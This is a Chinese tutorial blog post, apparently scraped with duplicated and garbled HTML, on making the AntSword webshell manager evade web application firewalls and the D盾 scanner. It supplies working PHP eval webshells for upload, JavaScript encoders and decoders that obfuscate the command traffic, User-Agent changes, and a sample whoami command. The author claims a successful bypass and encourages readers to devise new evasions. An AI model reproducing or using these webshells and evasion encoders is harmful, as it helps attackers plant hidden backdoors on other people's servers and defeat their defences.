蚁剑自定义编码器和解码器来bypass waf

发布于 2017-01-09 17:26:56

<p></p><div data-v-7a63e4b3="" class="v-note-show single-show"><div data-v-7a63e4b3="" class="v-show-content scroll-style scroll-style-border-radius" style="background-color: rgb(255, 255, 255);"><h2>前言</h2>
<p>蚁剑和菜刀一样是一款优秀的webshell管理工具(shll控制端),与菜刀相比,蚁剑具有开源,自定义能力强,跨平台等优点。在waf普遍的今天,蚁剑这款工具提供了自定义header,自定义body,自定义编码器和解码器等功能来bypass waf,实在不行,如果你有NodeJs的开发能力,你还可以修改源代码来逃避waf的特征检测。学会使用这些功能,waf再也不是渗透测试中的拦路虎,当然连接马的前提是马儿必须免杀。</p>
<h2>修改蚁剑的UA</h2>
<p>你是否遇到过webshell已经上传成功,但使用蚁剑去连接时就是连接不上的情况呢?发生的原因绝大数是因为被waf拦截了,waf会检测常用的webshell连接工具的一些特征,比如User-Agent,遇到明显的UA特征肯定会拦截。下面是蚁剑默认的UA:</p>
<p><img src="/uploads/20200827/4778f43f64983128063e485135adac2d.png" style="max-width:100%;">
</p>
<p>太明显了,蚁剑多种方式可以修改User-Agent。</p>
<ol>
<li>修改源代码</li>
</ol>
<p>在项目路径.modules/request.js中进行修改:</p>
<p><img src="/uploads/20200827/c53f62ea192b2d50190592dcd911e216.png" style="max-width:100%;">
</p>
<p>另外项目路径下的.modules/update.js也需要修改:</p>
<p><img src="/uploads/20200827/44790fa40fd0bcd8410652836d11ff06.png" style="max-width:100%;">
</p>
<ol start="2">
<li>为单独的webshell添加请求头</li>
</ol>
<p><img src="/uploads/20200827/65cc086f856c0e86a873fa6f5a4700e5.png" style="max-width:100%;">
</p>
<ol start="3">
<li>全局设置中添加请求头</li>
</ol>
<p><img src="/uploads/20200827/508d7dec8d21f13ee4667d676051ba28.png" style="max-width:100%;">
</p>
<h2>使用编码器</h2>
<p>先说下蚁剑编码器的作用,当使用蚁剑控制webshell向服务器发送数据包时,数据包中的body部分会按照编码器中定义的规则进行编码或者加密后在发送,这样就可以避免有比较明显的命令执行特征从儿被WAF拦截。</p>
<p>先看下不使用编码器时,蚁剑是如何发包的,执行一个查看文件的操作,抓包观察:</p>
<p><img src="/uploads/20200827/9ced77c83d8d1a03896525ec941790b5.png" style="max-width:100%;">
</p>
<p>其中l76cc4f5b31b36是蚁剑随机生成的一个变量,其中的值是经过base64编码的,解码后为要查看的文件名:</p>
<p><img src="/uploads/20200827/d932b636f7ebda28679ae6dd4b9885db.png" style="max-width:100%;">
</p><p>变量test为蚁剑连接webshell的密码,也就是 php POST变量中接收数据的参数</p>
<p><img src="/uploads/20200827/e6ba365cee32fcdc43287a7d57c4207a.png" style="max-width:100%;">
</p><p>可以看到test后面的值都是明文的php代码,这样就很容易被waf检测到。</p>
<p>使用蚁剑自带的base64编码器连接抓包查看:</p>
<p><img src="/uploads/20200827/df071bad3c5ed4317f4f50fe4bfe11ba.png" style="max-width:100%;">
</p>
<p>相较不使用编码器多了一个参数s4c932eb660f94,这个参数测内容就是base64编码后的读取文件的php代码,然后使用参数test进行base64解码s4c932eb660f94中的内容发送给服务端进行执行。这种编码方式虽然编码了读取文件操作的代码,但是在body中还是会有明文的php代码,接下来我们改动下base64编码器,让请求的数据包中不再有明文的php代码。</p>
<h3>自定义一个编码器</h3>
<p><img src="/uploads/20200827/36b0063c6abaee491536606636db5e84.png" style="max-width:100%;">
</p><p>在这之前先了解下蚁剑的编码器规则:</p>
<pre><div class="hljs"><span class="hljs-comment">/<p></p><ul><li>php::base64编码器</li><li>Create at: 2020/05/19 16:35:59</li></ul><p>/
<span class="hljs-">
'use strict'</span>;</p><p><span class="hljs-comment">/
</span></p><ul><li>@param {String} pwd 连接密码</li><li>@param {Array} data 编码器处理前的 payload 数组</li><li>@return {Array} data 编码器处理后的 payload 数组</li></ul><p>/
<span class="hljs-built_in">module</span>.exports = <span class="hljs-function">(<span class="hljs-params">pwd, data, ext={}</span>) =></span> {
<span class="hljs-comment">// ########## 请在下方编写你自己的代码 ###################</span>
<span class="hljs-comment">// 以下代码为 PHP Base64 样例</span></p><p><span class="hljs-comment">// 生成一个随机变量名</span>
<span class="hljs-keyword">let</span> randomID = <span class="hljs-string">0x<span class="hljs-subst">${<span class="hljs-built_in">Math</span>.random().toString(<span class="hljs-number">16</span>).substr(<span class="hljs-number">2</span>)}</span></code></span>;<br> <span class="hljs-comment">// 原有的 payload 在 data['_']中</span><br> <span class="hljs-comment">// 取出来之后,转为 base64 编码并放入 randomID key 下</span><br> data[randomID] = Buffer.from(data[<span class="hljs-string">'_'</span>]).toString(<span class="hljs-string">'base64'</span>);</p><p><span class="hljs-comment">// shell 在接收到 payload 后,先处理 pwd 参数下的内容,</span><br> data[pwd] = <span class="hljs-string"><code>eval(base64_decode($_POST[<span class="hljs-subst">${randomID}</span>]));</code></span>;</p><p><span class="hljs-comment">// ########## 请在上方编写你自己的代码 ###################</span></p></span></code><p><code class="lang-js"><span class="hljs-comment">// 删除 _ 原有的payload</span><br> <span class="hljs-keyword">delete</span> data[<span class="hljs-string">'_'</span>];<br> <span class="hljs-comment">// 返回编码器处理后的 payload 数组</span><br> <span class="hljs-keyword">return</span> data;<br>}<br></code></p></div></pre><br><p>上面的注释已经写的很清楚了,我们在自定义编码方式时只需要去修改<code>data['_']</code>中的内容就可以了,下面是我对默认编码器的修改:</p><br><pre><div class="hljs"><code class="lang-js"><span class="hljs-comment">/**<p></p><ul><li>php::base64编码器</li><li>Create at: 2020/05/19 16:57:59</li></ul><p>*/<br><span class="hljs-"><br>'use strict'</span>;</p><p><span class="hljs-comment">/*</span></p><ul><li>@param {String} pwd 连接密码</li><li>@param {Array} data 编码器处理前的 payload 数组</li><li>@return {Array} data 编码器处理后的 payload 数组</li></ul><p>*/<br><span class="hljs-built_in">module</span>.exports = <span class="hljs-function">(<span class="hljs-params">pwd, data, ext={}</span>) =&gt;</span> {<br> <span class="hljs-comment">// ########## 请在下方编写你自己的代码 ###################</span><br> <span class="hljs-comment">// 以下代码为 PHP Base64 样例</span></p><p>data[pwd] = Buffer.from(data[<span class="hljs-string">'_'</span>]).toString(<span class="hljs-string">'base64'</span>);</p><p><span class="hljs-comment">// ########## 请在上方编写你自己的代码 ###################</span></p></span></code><p><code class="lang-js"><span class="hljs-comment">// 删除 _ 原有的payload</span><br> <span class="hljs-keyword">delete</span> data[<span class="hljs-string">'_'</span>];<br> <span class="hljs-comment">// 返回编码器处理后的 payload 数组</span><br> <span class="hljs-keyword">return</span> data;<br>}<br></code></p></div></pre><br><p>由于上述的编码器没有自动解码传入的payload,所以需要在webshell中解码payload,将webshell改为如下的形式:</p><br><pre><div class="hljs"><code class="lang-php"><span class="hljs-"><!--?php</span--> <span class="hljs-keyword">eval</span>(base64_decode($_POST[<span class="hljs-string">'test'</span>]));<span class="hljs-">?></span>
</span>
</div></pre>
<p>抓包查看请求的数据包:</p>
<p><img src="/uploads/20200827/7f81f1297a7c86cb52f2b8f4b959e213.png" style="max-width:100%;">
</p>
<p>请求包中的test参数也被base64编码,已经没有明文的php代码了。这样就实现了一个简单的编码器,但是这样的编码器并不能bypass waf,因为有些waf会对请求的数据进行base64解码,从而就发现了我们的payload。没关系,既然了解了编码器的原理,那我们就可以变幻出各种payload来绕过waf。</p>
<p>例如:</p>
<ul>
<li>为payload的base64编码后的数据前后添加几个字符串,让waf解码base64失败</li>
<li>先用rot13加密payload然后再base64编码</li>
<li>先用base64编码再使用hex编码</li>
</ul>
<p>总之,你可以天马行空,使用各种编码组合来伪装自己的payload,任由waf多强大,也不可能全部解密出payload。</p>
<p>下面就写一个自定义的编码器来绕过D盾:</p>
<pre><div class="hljs"><span class="hljs-">'use strict'</span>;<p></p><p><span class="hljs-comment">/
</span></p><ul><li>@param {String} pwd 连接密码</li><li>@param {Array} data 编码器处理前的 payload 数组</li><li>@return {Array} data 编码器处理后的 payload 数组</li></ul><p>/
<span class="hljs-built_in">module</span>.exports = <span class="hljs-function">(<span class="hljs-params">pwd, data, ext={}</span>) =></span> {
<span class="hljs-comment">// ########## 请在下方编写你自己的代码 ###################</span>
<span class="hljs-comment">// 原有的 payload 在 data['_']中</span>
<span class="hljs-comment">// 取出来之后,转为 base64 编码并放入 randomID key 下</span>
data[pwd] = Buffer.from(data[<span class="hljs-string">'_'</span>]).toString(<span class="hljs-string">'base64'</span>);</p><p><span class="hljs-comment">//base64编码的前后再拼接随意定义的一个字符串</span>
data[pwd] = <span class="hljs-string">"lwk02nm"</span> + data[pwd];
data[pwd] += <span class="hljs-string">"lwk02nm"</span>;</p><p><span class="hljs-comment">// ########## 请在上方编写你自己的代码 ###################</span></p>
<p><span class="hljs-comment">// 删除 原有的payload</span>
<span class="hljs-keyword">delete</span> data[<span class="hljs-string">'_'</span>];
<span class="hljs-comment">// 返回编码器处理后的 payload 数组</span>
<span class="hljs-keyword">return</span> data;
}
</p></div></pre>
<p>然后上传到服务器的webshell就需要写成下面这样:</p>
<pre><div class="hljs"><span class="hljs-"><!--?php</span-->
$st = $_POST[<span class="hljs-string">'test'</span>];
$sa = str_replace(<span class="hljs-string">'lwk02nm'</span>,<span class="hljs-string">''</span>,$st);
<span class="hljs-keyword">eval</span>(base64_decode($sa));
<span class="hljs-">?></span>
</span>
</div></pre>
<blockquote>
<p>令人意外的是上面的webshell尽然可以对D盾免杀,D盾只报了1级。</p>
</blockquote>
<p>抓包查看此编码器发给服务端的数据包:</p>
<p><img src="/uploads/20200827/053716145562f5d99dcfd76eed48c372.png" style="max-width:100%;">
</p><p>可看到的确在数据包前后添加了我们自定义的字符串,这样的话就可避免waf使用base64解码成功,但是webshell却可以正常处理payload。</p>
<p>下面验证下自定义的编码器能否bypass D盾:</p>
<p><img src="/uploads/20200827/156d7789f5de8a87d4d32187a8dc23ac.png" style="max-width:100%;">
</p>
<p>D盾将上传的webshell判断为1级,1级是可以免杀的,再结合我们的编码器就可以顺利byapss:</p>
<p><img src="/uploads/20200827/1e85362d156b00590524c2f20a4092cf.png" style="max-width:100%;">
</p><h3>bypass命令执行</h3>
<p>意外总是来的太快,使用上面的编码器确实可以使用蚁剑连接我们的webshell了,也可以查看目录下的文件,但确无法执行命令,每次命令执行都会被D盾拦截。</p>
<p><img src="/uploads/20200827/0dd3d7b85dadc7874f9d06ee81ad412b.png" style="max-width:100%;">
</p>
<p>抓包观察下发送的数据包:</p>
<p>可看到参数kd8aa13e6949d3的值还是base64编码,解码后的值为:cd /d "C:/phpstudy/PHPTutorial/WWW"&whoami&echo [S]&cd&echo [E]还是具有明显的特征会被waf拦截。</p>
<p>由于蚁剑只会对data[pwd]里面的参数按照设定的编码器编码,其它参数默认使用base64编码,所以其它参数一旦被waf解码还是会有明显的特征,从而导致被拦截。那有办法将全部的参数编码吗?在蚁剑的一个issue里,作者给出了解决办法,具体的请去这里查看。</p>
<p><img src="/uploads/20200827/257d1f8fc4562a6d60da3f412661480e.png" style="max-width:100%;">
</p>
<p>可以看到解决办法是遍历data[_]取出其中的值并将其全部编码,按照这种思路修改下上面写的编码器:</p>
<pre><div class="hljs"><span class="hljs-comment">/
<p></p><ul><li>php::base64编码器</li><li>Create at: 2020/05/21 13:07:23</li></ul><p>/</p><p><span class="hljs-string">'use strict'</span>;</p><p><span class="hljs-comment">/</span></p><ul><li><span class="hljs-doctag">@param</span> {String} pwd 连接密码</li><li><span class="hljs-doctag">@param</span> {Array} data 编码器处理前的 payload 数组</li><li><span class="hljs-doctag">@return</span> {Array} data 编码器处理后的 payload 数组</li></ul><p>/
module.exports = (pwd, data) => {
<span class="hljs-comment">// ########## 请在下方编写你自己的代码 ###################</span>
let ret = {};
<span class="hljs-keyword">for</span> (let
in data){</p><pre><span class="hljs-keyword">if</span> (_ === <span class="hljs-string">'_'</span>) { <span class="hljs-keyword">continue</span> };
ret[_] = Buffer.from(data[_]).toString(<span class="hljs-string">'base64'</span>);
ret[_] = <span class="hljs-string">'lwk02nm'</span> + ret[_];
ret[_] += <span class="hljs-string">'lwk02nm'</span>;
</pre></span>
<p>}
ret[pwd] = Buffer.from(data[<span class="hljs-string">'_'</span>]).toString(<span class="hljs-string">'base64'</span>);
ret[pwd] = <span class="hljs-string">'lwk02nm'</span> + ret[pwd];
ret[pwd] += <span class="hljs-string">'lwk02nm'</span>;
<span class="hljs-comment">// 返回编码器处理后的 payload 数组</span>
<span class="hljs-keyword">return</span> ret;
}
</p></div></pre>
<p>顺利byapass D盾</p>
<p><img src="/uploads/20200827/c930c268b314c10a51820fd68217b2c1.png" style="max-width:100%;">
</p>
<p>抓包查看发送的数据可看到所有的参数值都已经过编码器的编码,这样就能有效防止waf的base64解码了。</p>
<p><img src="/uploads/20200827/6e62ba4ac942d1e797001497e0f858a1.png" style="max-width:100%;">
</p>
<p>这个项目中有一些写好的编码器,大家可以拿来用,另外你也可以按照自己的思路去写一个编码器,这样bypass效果会更好。</p>
<p>yzddmr6大佬已经通过修改蚁剑源码实现了上述功,项目地址是:https://github.com/yzddmr6/antSword</p>
<h2>使用解码器</h2>
<p>蚁剑的编码器是编码或者加密蚁剑向服务端发送的请求包的,所以解码器是用来编码或者加密服务端返回给蚁剑的数据包的,编码后的数据包只有蚁剑能够解码。经测试,使用编码器其实就能够bypass D盾了,但是不排除有些waf会检测返回包,所以有时也需要使用解码器。蚁剑自带了两种解码器,base64和rot13,下面还是通过抓包的方式来对比不使用解码器和使用了解码器后返回包的不同。</p>
<p>不使用解码器:</p>
<p><img src="/uploads/20200827/caa6d3ec89141c08511084ac61d6de4c.png" style="max-width:100%;">
</p>
<p>可看到返回包中的数据均已明文显示。</p>
<p>使用base64解码器:</p>
<p><img src="/uploads/20200827/bc66c8e6d0a90ede3fd8fafa8a32a2c3.png" style="max-width:100%;">
</p>
<p>现在的返回包中的数据都已使用base64进行编码了。</p>
<blockquote>
<p>很多新手朋友在使用蚁剑时都会认为编码器和解码器是成对存在的,使用了base64编码器就必须使用base64解码器,其实不是这样的,编码器和解码器除了名字有点类似,在使用时毫无关系(RAS和AES加密方式的编码器和解码器除外)。</p>
</blockquote>
<p>分析下蚁剑解码器的写法:</p>
<pre><div class="hljs"><span class="hljs-comment">/<p></p><ul><li>php::base64解码器</li><li>Create at: 2020/05/22 10:21:48</li></ul><p>/
<span class="hljs-">
'use strict'</span>;</p><p><span class="hljs-built_in">module</span>.exports = {
<span class="hljs-comment">/
</span></p><ul><li>@returns {string} asenc 将返回数据base64编码</li><li>自定义输出函数名称必须为 asenc</li><li>该函数使用的语法需要和shell保持一致</li></ul><p>/
asoutput: <span class="hljs-function"><span class="hljs-params">()</span> =></span> {</p><pre><span class="hljs-keyword">return</span> <span class="hljs-string">`function asenc($out){
return @base64_encode($out);
}
</span>.replace(<span class="hljs-regexp">/\n\s+/g</span>, <span class="hljs-string">''</span>);</code></pre><p>},<br> <span class="hljs-comment">/**</span></p><ul><li>解码 Buffer</li><li>@param {string} data 要被解码的 Buffer</li><li>@returns {string} 解码后的 Buffer</li></ul><p>*/<br> decode_buff: <span class="hljs-function">(<span class="hljs-params">data, ext={}</span>) =&gt;</span> {</p><pre><code><span class="hljs-keyword">return</span> Buffer.from(data.toString(), <span class="hljs-string">'base64'</span>);</code></pre></span></code><p><code class="lang-js">}<br>}<br></code></p></div></pre><br><p>先看下解码器的组成,这里导出了两个方法,<code>asoutput</code>及<code>decode_buff</code>。<code>asoutput</code>无需传入参数,返回一段php代码字符串,名称为<code>asenc</code>的函数,这个函数会放在请求包里,用于在服务端执行完代码后,再回显部分调用该函数asenc来编码处理,所以服务端无需针对解码做改动。</p><br><p>按照这个方式自写一个解码器:</p><br><pre><div class="hljs"><code class="lang-js"><span class="hljs-comment">/**<p></p><ul><li>php::base64自定义解码器</li><li>Create at: 2020/05/22 10:21:48</li></ul><p>*/<br><span class="hljs-"><br>'use strict'</span>;</p><p><span class="hljs-built_in">module</span>.exports = {<br> <span class="hljs-comment">/**</span></p><ul><li>@returns {string} asenc 将返回数据base64编码</li><li>自定义输出函数名称必须为 asenc</li><li>该函数使用的语法需要和shell保持一致</li></ul><p>*/<br> asoutput: <span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {</p><pre><code><span class="hljs-keyword">return</span> <span class="hljs-string">function asenc($out){
//返回时添加一个随机字符串,避免被waf解码成功
return 'wg4a2'.@base64_encode($out);
}
`</span>.replace(<span class="hljs-regexp">/ns+/g</span>, <span class="hljs-string">''</span>);
</pre><p>},
<span class="hljs-comment">/*</span></p><ul><li>解码 Buffer</li><li>@param {string} data 要被解码的 Buffer</li><li>@returns {string} 解码后的 Buffer</li></ul><p>/
decode_buff: <span class="hljs-function">(<span class="hljs-params">data, ext={}</span>) =></span> {</p><pre><span class="hljs-keyword">let</span> res = Buffer.from(data.toString().replace(<span class="hljs-regexp">/wg4a2/g</span>,<span class="hljs-string">''</span>), <span class="hljs-string">'base64'</span>);
<span class="hljs-keyword">return</span> res;
</pre></span>
<p>}
}
</p></div></pre>
<p>使用这个解码器时就会子啊返回的数据包中添加随机字符串,如下图,这样只有蚁剑客户端能够解码成功,而waf则不可以。</p>
<p><img src="/uploads/20200827/3401e29d1de425148c318afd9f719dae.png" style="max-width:100%;">
</p><p>编写解码器的思路大概就是这样的,大家可以以各种骚思路去写自己的解码器。</p>
<h2>最后</h2>
<p>除了使用常规的编码,乱序操作去写编码器和解码器,还可以使用对称加密,非对称加密等算法写编码器和解码器来逃避waf的流量检测,这种做法其实和冰蝎就很类似了。这种思路对应的文章请看这两篇:</p>
<ul>
<li>蚁剑实现动态秘钥编码器解码器</li>
<li>关于对antSword(蚁剑)进行流量混淆处理的解决方案</li>
</ul>
<p>刚开始研究蚁剑的编码器和解码器,文中有写的不对或者不好的地方还望各位师傅斧正</p>
<h2>参考文章</h2>
<ul>
<li>蚁剑改造过WAF系列(一)</li>
<li>关于对antSword(蚁剑)进行流量混淆处理的解决方案</li>
<li>蚁剑改造计划之实现其他参数的随机化</li>
<li>[红队武器] - AntSword之特征修改与流量处理</li>
<li>AntSword编码器篇(一) HelloWorld</li>
<li>蚁剑实现动态秘钥编码器解码器</li>
<li>WAF拦了蚁剑发送的其它参数时怎么操作</li>
<li>AntSword编码器篇(二)</li>
</ul>
</div> <div data-v-7a63e4b3="" class="v-show-content-html scroll-style scroll-style-border-radius" style="background-color: rgb(255, 255, 255); display: none;"><p></p><pre> <h2>前言</h2></pre><p></p><p>蚁剑和菜刀一样是一款优秀的webshell管理工具(shll控制端),与菜刀相比,蚁剑具有开源,自定义能力强,跨平台等优点。在waf普遍的今天,蚁剑这款工具提供了自定义header,自定义body,自定义编码器和解码器等功能来bypass waf,实在不行,如果你有NodeJs的开发能力,你还可以修改源代码来逃避waf的特征检测。学会使用这些功能,waf再也不是渗透测试中的拦路虎,当然连接马的前提是马儿必须免杀。</p>
<h2>修改蚁剑的UA</h2>
<p>你是否遇到过webshell已经上传成功,但使用蚁剑去连接时就是连接不上的情况呢?发生的原因绝大数是因为被waf拦截了,waf会检测常用的webshell连接工具的一些特征,比如User-Agent,遇到明显的UA特征肯定会拦截。下面是蚁剑默认的UA:</p>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2019%2014%2012%2018.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2019%2014%2012%2018.png"; alt="20200519141218"></p>
<p>太明显了,蚁剑多种方式可以修改User-Agent。</p>
<ol>
<li>修改源代码</li>
</ol>
<p>在项目路径.modules/request.js中进行修改:</p>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2019%2014%2022%2027.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2019%2014%2022%2027.png"; alt="20200519142227"></p>
<p>另外项目路径下的.modules/update.js也需要修改:</p>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2019%2014%2026%2048.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2019%2014%2026%2048.png"; alt="20200519142648"></p>
<ol start="2">
<li>为单独的webshell添加请求头</li>
</ol>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2019%2014%2029%2002.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2019%2014%2029%2002.png"; alt="20200519142902"></p>
<ol start="3">
<li>全局设置中添加请求头</li>
</ol>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2019%2014%2039%2036.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2019%2014%2039%2036.png"; alt="20200519143936"></p>
<h2>使用编码器</h2>
<p>先说下蚁剑编码器的作用,当使用蚁剑控制webshell向服务器发送数据包时,数据包中的body部分会按照编码器中定义的规则进行编码或者加密后在发送,这样就可以避免有比较明显的命令执行特征从儿被WAF拦截。</p>
<p>先看下不使用编码器时,蚁剑是如何发包的,执行一个查看文件的操作,抓包观察:</p>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2019%2014%2059%2023.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2019%2014%2059%2023.png"; alt="20200519145923"></p>
<p>其中l76cc4f5b31b36是蚁剑随机生成的一个变量,其中的值是经过base64编码的,解码后为要查看的文件名:</p>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2019%2015%2001%2019.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2019%2015%2001%2019.png"; alt="20200519150119"></p>
<p>变量test为蚁剑连接webshell的密码,也就是 php POST变量中接收数据的参数</p>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2019%2015%2004%2021.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2019%2015%2004%2021.png"; alt="20200519150421"></p>
<p>可以看到test后面的值都是明文的php代码,这样就很容易被waf检测到。</p>
<p>使用蚁剑自带的base64编码器连接抓包查看:</p>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2019%2016%2013%2042.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2019%2016%2013%2042.png"; alt="20200519161342"></p>
<p>相较不使用编码器多了一个参数s4c932eb660f94,这个参数测内容就是base64编码后的读取文件的php代码,然后使用参数test进行base64解码s4c932eb660f94中的内容发送给服务端进行执行。这种编码方式虽然编码了读取文件操作的代码,但是在body中还是会有明文的php代码,接下来我们改动下base64编码器,让请求的数据包中不再有明文的php代码。</p>
<h3>自定义一个编码器</h3>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2019%2016%2025%2048.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2019%2016%2025%2048.png"; alt="20200519162548"></p>
<p>在这之前先了解下蚁剑的编码器规则:</p>
<pre><div class="hljs"><span class="hljs-comment">/<p></p><ul><li>php::base64编码器</li><li>Create at: 2020/05/19 16:35:59</li></ul><p>/
<span class="hljs-">
'use strict'</span>;</p><p><span class="hljs-comment">/
</span></p><ul><li>@param {String} pwd 连接密码</li><li>@param {Array} data 编码器处理前的 payload 数组</li><li>@return {Array} data 编码器处理后的 payload 数组</li></ul><p>/
<span class="hljs-built_in">module</span>.exports = <span class="hljs-function">(<span class="hljs-params">pwd, data, ext={}</span>) =></span> {
<span class="hljs-comment">// ########## 请在下方编写你自己的代码 ###################</span>
<span class="hljs-comment">// 以下代码为 PHP Base64 样例</span></p><p><span class="hljs-comment">// 生成一个随机变量名</span>
<span class="hljs-keyword">let</span> randomID = <span class="hljs-string">0x<span class="hljs-subst">${<span class="hljs-built_in">Math</span>.random().toString(<span class="hljs-number">16</span>).substr(<span class="hljs-number">2</span>)}</span></code></span>;<br> <span class="hljs-comment">// 原有的 payload 在 data['_']中</span><br> <span class="hljs-comment">// 取出来之后,转为 base64 编码并放入 randomID key 下</span><br> data[randomID] = Buffer.from(data[<span class="hljs-string">'_'</span>]).toString(<span class="hljs-string">'base64'</span>);</p><p><span class="hljs-comment">// shell 在接收到 payload 后,先处理 pwd 参数下的内容,</span><br> data[pwd] = <span class="hljs-string"><code>eval(base64_decode($_POST[<span class="hljs-subst">${randomID}</span>]));</code></span>;</p><p><span class="hljs-comment">// ########## 请在上方编写你自己的代码 ###################</span></p></span></code><p><code class="lang-js"><span class="hljs-comment">// 删除 _ 原有的payload</span><br> <span class="hljs-keyword">delete</span> data[<span class="hljs-string">'_'</span>];<br> <span class="hljs-comment">// 返回编码器处理后的 payload 数组</span><br> <span class="hljs-keyword">return</span> data;<br>}<br></code></p></div></pre><br><p>上面的注释已经写的很清楚了,我们在自定义编码方式时只需要去修改<code>data['_']</code>中的内容就可以了,下面是我对默认编码器的修改:</p><br><pre><div class="hljs"><code class="lang-js"><span class="hljs-comment">/**<p></p><ul><li>php::base64编码器</li><li>Create at: 2020/05/19 16:57:59</li></ul><p>*/<br><span class="hljs-"><br>'use strict'</span>;</p><p><span class="hljs-comment">/*</span></p><ul><li>@param {String} pwd 连接密码</li><li>@param {Array} data 编码器处理前的 payload 数组</li><li>@return {Array} data 编码器处理后的 payload 数组</li></ul><p>*/<br><span class="hljs-built_in">module</span>.exports = <span class="hljs-function">(<span class="hljs-params">pwd, data, ext={}</span>) =&gt;</span> {<br> <span class="hljs-comment">// ########## 请在下方编写你自己的代码 ###################</span><br> <span class="hljs-comment">// 以下代码为 PHP Base64 样例</span></p><p>data[pwd] = Buffer.from(data[<span class="hljs-string">'_'</span>]).toString(<span class="hljs-string">'base64'</span>);</p><p><span class="hljs-comment">// ########## 请在上方编写你自己的代码 ###################</span></p></span></code><p><code class="lang-js"><span class="hljs-comment">// 删除 _ 原有的payload</span><br> <span class="hljs-keyword">delete</span> data[<span class="hljs-string">'_'</span>];<br> <span class="hljs-comment">// 返回编码器处理后的 payload 数组</span><br> <span class="hljs-keyword">return</span> data;<br>}<br></code></p></div></pre><br><p>由于上述的编码器没有自动解码传入的payload,所以需要在webshell中解码payload,将webshell改为如下的形式:</p><br><pre><div class="hljs"><code class="lang-php"><span class="hljs-"><!--?php</span--> <span class="hljs-keyword">eval</span>(base64_decode($_POST[<span class="hljs-string">'test'</span>]));<span class="hljs-">?></span>
</span>
</div></pre>
<p>抓包查看请求的数据包:</p>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2019%2017%2002%2055.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2019%2017%2002%2055.png"; alt="20200519170255"></p>
<p>请求包中的test参数也被base64编码,已经没有明文的php代码了。这样就实现了一个简单的编码器,但是这样的编码器并不能bypass waf,因为有些waf会对请求的数据进行base64解码,从而就发现了我们的payload。没关系,既然了解了编码器的原理,那我们就可以变幻出各种payload来绕过waf。</p>
<p>例如:</p>
<ul>
<li>为payload的base64编码后的数据前后添加几个字符串,让waf解码base64失败</li>
<li>先用rot13加密payload然后再base64编码</li>
<li>先用base64编码再使用hex编码</li>
</ul>
<p>总之,你可以天马行空,使用各种编码组合来伪装自己的payload,任由waf多强大,也不可能全部解密出payload。</p>
<p>下面就写一个自定义的编码器来绕过D盾:</p>
<pre><div class="hljs"><span class="hljs-">'use strict'</span>;<p></p><p><span class="hljs-comment">/
</span></p><ul><li>@param {String} pwd 连接密码</li><li>@param {Array} data 编码器处理前的 payload 数组</li><li>@return {Array} data 编码器处理后的 payload 数组</li></ul><p>/
<span class="hljs-built_in">module</span>.exports = <span class="hljs-function">(<span class="hljs-params">pwd, data, ext={}</span>) =></span> {
<span class="hljs-comment">// ########## 请在下方编写你自己的代码 ###################</span>
<span class="hljs-comment">// 原有的 payload 在 data['_']中</span>
<span class="hljs-comment">// 取出来之后,转为 base64 编码并放入 randomID key 下</span>
data[pwd] = Buffer.from(data[<span class="hljs-string">'_'</span>]).toString(<span class="hljs-string">'base64'</span>);</p><p><span class="hljs-comment">//base64编码的前后再拼接随意定义的一个字符串</span>
data[pwd] = <span class="hljs-string">"lwk02nm"</span> + data[pwd];
data[pwd] += <span class="hljs-string">"lwk02nm"</span>;</p><p><span class="hljs-comment">// ########## 请在上方编写你自己的代码 ###################</span></p>
<p><span class="hljs-comment">// 删除 原有的payload</span>
<span class="hljs-keyword">delete</span> data[<span class="hljs-string">'_'</span>];
<span class="hljs-comment">// 返回编码器处理后的 payload 数组</span>
<span class="hljs-keyword">return</span> data;
}
</p></div></pre>
<p>然后上传到服务器的webshell就需要写成下面这样:</p>
<pre><div class="hljs"><span class="hljs-"><!--?php</span-->
$st = $_POST[<span class="hljs-string">'test'</span>];
$sa = str_replace(<span class="hljs-string">'lwk02nm'</span>,<span class="hljs-string">''</span>,$st);
<span class="hljs-keyword">eval</span>(base64_decode($sa));
<span class="hljs-">?></span>
</span>
</div></pre>
<blockquote>
<p>令人意外的是上面的webshell尽然可以对D盾免杀,D盾只报了1级。</p>
</blockquote>
<p>抓包查看此编码器发给服务端的数据包:</p>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2020%2014%2047%2012.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2020%2014%2047%2012.png"; alt="20200520144712"></p>
